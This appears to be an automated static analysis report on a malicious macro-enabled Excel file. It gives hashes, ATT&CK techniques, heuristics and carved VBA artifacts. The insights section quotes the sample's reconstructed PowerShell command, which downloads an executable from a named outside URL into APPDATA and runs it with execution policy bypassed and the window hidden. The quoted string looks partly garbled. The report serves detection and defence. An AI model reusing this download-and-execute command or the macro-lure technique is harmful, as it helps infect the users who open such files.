Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 4e951bec6e8dfd80…

MALICIOUS

Office (OOXML) / .XLSM

43.1 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300
MD5: 75428433de2d9ef3b81510e86fe9dcd5 SHA-1: 809ad29add4f204db6975ee905108578264e15fa SHA-256: 4e951bec6e8dfd80a8955601d72a40e02c098d78164d429dfc8e49dba5db46cc
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File: User Execution: Malicious File T1566.002 Phishing: Spearphishing Attachment

The sample is an XLSM file that uses a document lure to trick users into enabling macros. Upon enabling, the VBA code constructs and executes a PowerShell command. This command downloads a file from 'http://hqa.co.za/iuy/JOKS.scr' and saves it as 'hjydiblcbfpdv.exe' in the user's profile directory, then executes it. The PowerShell command is obfuscated but reconstructs to 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\System\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://hqa.co.za/iuy/JOKS.scr','$(env:APPDATA\hjydiblcbfpdv.exe')"';Start-Process "$(env:APPDATA\hjydiblcbfpdv.exe")'. The VBA code also creates and executes a batch file named 'Ijmjtxt.bat' to facilitate this process.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: http://go.microsoft.com/fwlink/?LinkId=846285
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://go.microsoft.com/fwlink/?LinkId=846285
    • http://go.microsoft.com/fwlink/?LinkId=844969

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
ca9082efde232fe73d75a3236abf11fa637591477ec29607a1ea19d81d4b5f96
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2672 bytes
vbaProject_00.bin
412e6cadc21dc215d6b7e4715de9e99a6cb991eaefa93f12972706430aa9e756
vba-project OOXML VBA project: xl/vbaProject.bin 6656 bytes